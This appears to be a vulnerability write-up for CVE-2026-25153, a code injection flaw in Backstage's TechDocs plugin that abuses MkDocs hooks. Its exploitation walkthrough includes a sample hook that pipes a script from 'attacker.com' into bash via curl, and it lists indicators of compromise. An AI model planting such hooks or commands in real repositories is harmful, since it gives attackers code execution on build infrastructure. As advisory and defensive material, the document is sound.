CVE-2026-25153: 
JavaScript vulnerability analysis and mitigation

CVE-2026-25153 is a code injection vulnerability in the @backstage/plugin-techdocs-node npm package that allows authenticated attackers with repository write access to execute arbitrary Python code on the TechDocs build server via MkDocs hooks configuration. The vulnerability affects all versions of @backstage/plugin-techdocs-node prior to 1.13.11 and versions 1.14.0 prior to 1.14.1. It was published on January 30, 2026, with fixes released the same day (GitHub Advisory, Backstage Advisory). The CVSS v3.1 base score is 8.8 (High) per NVD/Feedly, while the GitHub Advisory scores it at 7.7 (High) using a different vector reflecting higher attack complexity and scope change (GitHub Advisory).

The vulnerability is classified as CWE-94 (Improper Control of Generation of Code / Code Injection). When TechDocs is configured with runIn: local, the plugin processes a repository's mkdocs.yml file without sanitizing or restricting its configuration keys before passing it to the MkDocs generator. MkDocs versions 1.4.0 and later support a hooks configuration key that allows arbitrary Python scripts to be executed during the documentation build process. A malicious actor who can submit or modify a repository's mkdocs.yml file can embed a hooks entry pointing to a Python script containing arbitrary code, which is then executed on the TechDocs build server with the privileges of the build process (Backstage Advisory, Red Hat Bugzilla). Notably, using @techdocs/cli in CI/CD pipelines does not mitigate the risk, as the CLI relies on the same vulnerable package (GitHub Advisory).

Successful exploitation allows an authenticated attacker with repository write access to execute arbitrary Python code on the TechDocs build server, potentially leading to full compromise of the build infrastructure. This could enable the attacker to access sensitive data (including secrets, credentials, and environment variables), modify build outputs, and establish persistence for lateral movement within the organization's network. The confidentiality, integrity, and availability of the build server are all at high risk, and the scope of impact can extend beyond the directly affected component to other systems accessible from the build environment (Backstage Advisory, Feedly).

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.046% (0.000460), placing it in the 9th percentile for exploitation likelihood within the next 30 days (GitHub Advisory). No threat actor attribution has been reported, and the vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires low privileges (repository write access) but depends on the attacker's ability to submit or merge a malicious mkdocs.yml file into a repository processed by TechDocs.

1. Reconnaissance: Identify a Backstage instance running TechDocs with runIn: local configuration and a repository the attacker has write access to that is processed by TechDocs.
2. Craft malicious mkdocs.yml: Create or modify the repository's mkdocs.yml file to include a hooks entry referencing a malicious Python script, for example:

site_name: My Docs
hooks:
  - malicious_hook.py

3. Add malicious Python hook script: Include a Python script (e.g., malicious_hook.py) in the repository that executes the desired payload, such as a reverse shell or credential exfiltration:

import os
os.system('curl http://attacker.com/shell.sh | bash')

4. Submit or merge the changes: Push the modified mkdocs.yml and hook script to the repository (directly or via a pull request that passes review).
5. Trigger TechDocs build: Wait for or trigger a TechDocs documentation build for the affected repository. The build server will process the mkdocs.yml, invoke MkDocs, and execute the hook script as arbitrary Python code on the server.
6. Achieve code execution: The attacker's payload runs on the TechDocs build server with the privileges of the build process, enabling data exfiltration, persistence, or lateral movement (Backstage Advisory, Red Hat Bugzilla).

• File System: Unexpected Python script files (e.g., *.py) added to documentation repositories alongside mkdocs.yml; presence of a hooks: key in any mkdocs.yml file processed by TechDocs.
• Logs: TechDocs build logs showing execution of Python hook scripts; warning messages from patched versions indicating removal of unsupported mkdocs.yml keys (e.g., hooks).
• Process: Unusual child processes spawned by the TechDocs build process (e.g., python, curl, wget, bash, sh) during documentation generation; unexpected outbound network connections from the build server.
• Network: Outbound connections from the TechDocs build server to unknown or attacker-controlled IP addresses or domains during or after a documentation build.
• Repository: Recent modifications to mkdocs.yml files in repositories processed by TechDocs, especially additions of hooks: configuration keys or new Python script files (Backstage Advisory).

Upgrade @backstage/plugin-techdocs-node to version 1.13.11 or 1.14.1 (or later), which introduce an allowlist of supported MkDocs configuration keys and automatically strip unsupported keys (including hooks) from mkdocs.yml before running the generator. Users of @techdocs/cli should also upgrade to the latest version that includes the fixed dependency. If immediate upgrade is not possible, the following workarounds can reduce risk: (1) switch TechDocs to runIn: docker for container isolation (does not fully mitigate); (2) restrict mkdocs.yml modification rights to trusted contributors only; (3) enforce mandatory PR review for all mkdocs.yml changes; (4) downgrade MkDocs to a version prior to 1.4.0 (e.g., 1.3.1), which does not support hooks (Backstage Advisory, Red Hat Bugzilla).

The vulnerability was published by Backstage maintainer benjdlambert on January 30, 2026, and quickly picked up by vulnerability tracking services including Red Hat Bugzilla, CIRCL, and INCIBE-CERT (Red Hat Bugzilla, Feedly). Red Hat issued errata advisories (RHSA-2026:6174 and RHSA-2026:6802) addressing the vulnerability in their products. The vulnerability was also noted in a CISA weekly vulnerability bulletin and covered by security news outlets including The Hacker Wire. Community reaction has been measured, with no significant controversy or widespread alarm, reflecting the limited exploitability due to the required write access precondition.